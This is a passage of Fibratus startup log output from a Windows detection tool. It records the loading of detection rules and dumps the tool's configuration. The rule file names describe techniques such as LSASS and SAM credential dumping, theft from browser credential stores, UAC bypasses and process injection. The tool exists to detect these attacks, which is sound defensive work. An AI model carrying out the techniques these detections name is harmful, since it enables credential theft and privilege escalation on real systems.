C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:02:03+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:02:03+01:00 level=info msg=bootstrapping with pid 3468. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:02:03+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html use-template=>true to=>[] enabled=>false port=>25] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-vamap=>true enable-thread=>true flush-interval=>1s enable-handle=>false enable-net=>true enable-fileio=>true enable-dns=>false max-buffers=>36 enable-mem=>false enable-registry=>true enable-audit-api=>true enable-threadpool=>false buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true stack-enrichment=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 formatter=>text level=>info max-age=>0 max-backups=>15] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ trace-log=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus healthcheck-interval=>10s flush-period=>1s enabled=>false healthcheck=>true healthcheck-timeout=>5s template-name=>fibratus timeout=>5s bulk-workers=>1 sniff=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ passive=>false routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient exchange-type=>topic durable=>false enabled=>false timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s serializer=>json endpoints=>[] enabled=>false method=>POST]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ enabled=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-registry=>false scan-timeout=>10s skip-files=>false skip-allocs=>false skip-mmaps=>false excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:02:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:02:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:03:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:03:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:03:11+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:03:14+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:03:14+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:03:14+01:00 level=info msg=bootstrapping with pid 20064. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:03:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false port=>25 to=>[] content-type=>text/html use-template=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-net=>true stack-enrichment=>true enable-registry=>true enable-audit-api=>true enable-thread=>true enable-mem=>false max-buffers=>36 buffer-size=>512 enable-image=>true flush-interval=>1s enable-fileio=>true enable-vamap=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-dns=>false enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 formatter=>text max-age=>0 level=>info max-backups=>15] + output ......................... [ amqp=>[ exchange-type=>topic url=>amqp://localhost:5672 enabled=>false timeout=>5s routing-key=>fibratus tls-insecure-skip-verify=>false exchange=>fibratus durable=>false vhost=>/ passive=>false delivery-mode=>transient] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ level=>info enabled=>false] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false timeout=>5s method=>POST serializer=>json endpoints=>[]] elasticsearch=>[ healthcheck-timeout=>5s timeout=>5s template-name=>fibratus flush-period=>1s sniff=>false bulk-workers=>1 index-name=>fibratus healthcheck-interval=>10s trace-log=>false healthcheck=>true servers=>[http://127.0.0.1:9200] enabled=>false 